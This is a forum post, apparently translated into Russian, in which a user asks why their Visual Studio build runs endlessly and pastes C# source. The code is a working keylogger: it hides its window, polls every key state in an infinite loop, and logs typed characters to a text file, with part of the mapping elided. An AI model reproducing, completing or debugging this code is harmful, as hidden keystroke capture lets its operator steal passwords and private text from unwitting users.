Сборка приложения в Visual Studio занимает слишком много времени. Он не дает мне никаких ошибок, но он долго компилируется, пока я не остановлю процесс. Есть идеи, почему это может происходить или это нормально? Спасибо! Это просто дает мне предупреждение за то, что я не использовал переменную "ex", я не знаю, влияет ли это или создает какой-то тип l oop. Вот мой код:
namespace KL
{
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
private extern static int ShowWindow(System.IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Int32 teclas);
DateTime lastRun = DateTime.Now.AddSeconds(-30);
static void Main(string[] args)
{
ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
guardarPulsacion();
}
static void guardarPulsacion()
{
DateTime ultimaEjecucion = DateTime.Now.AddSeconds(-1);
while (true)
{
try
{
Thread.Sleep(50);
for (Int32 i = 0; i < 255; i++)
{
int tecla = GetAsyncKeyState(i);
if (tecla == 1 || tecla == -32767)
{
StreamWriter sw = new StreamWriter("XXX.txt", true);
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D4))) sw.Write("$");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D5))) sw.Write("%");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D6))) sw.Write("&");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D7))) sw.Write("(");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D8))) sw.Write(")");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D9))) sw.Write(")");
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D0))) sw.Write("=");
else if (Keys.OemPeriod.Equals((Keys)i)) sw.Write(".");
else if (Keys.Back.Equals((Keys)i)) sw.Write("");
else if (Keys.Space.Equals((Keys)i)) sw.Write(" ");
else if (Keys.D0.Equals((Keys)i) || Keys.NumPad0.Equals((Keys)i)) sw.Write("0");
else if
...
else if
(Keys.D9.Equals((Keys)i) || Keys.NumPad9.Equals((Keys)i)) sw.Write("9");
else if (Keys.LButton.Equals((Keys)i) || Keys.MButton.Equals((Keys)i)) { }//no escribe
else
{ //letras
if (i >= 65 && i <= 122)
{
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey))) //Mayuscula
sw.Write(Convert.ToChar(i).ToString());
else if (Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock)))//Mayuscula
sw.Write(Convert.ToChar(i).ToString());
else sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
}
}
sw.Close();
}
}
if (DateTime.Now > ultimaEjecucion)
{
string fecha = DateTime.Now.ToString("h:mm:ss tt");
string nombrefinal = fecha.Trim().Replace(":", "_");
ultimaEjecucion = DateTime.Now.AddSeconds(30);
new FileInfo(nombrefinal).Delete();
}
}
catch (Exception ex) { }
}
}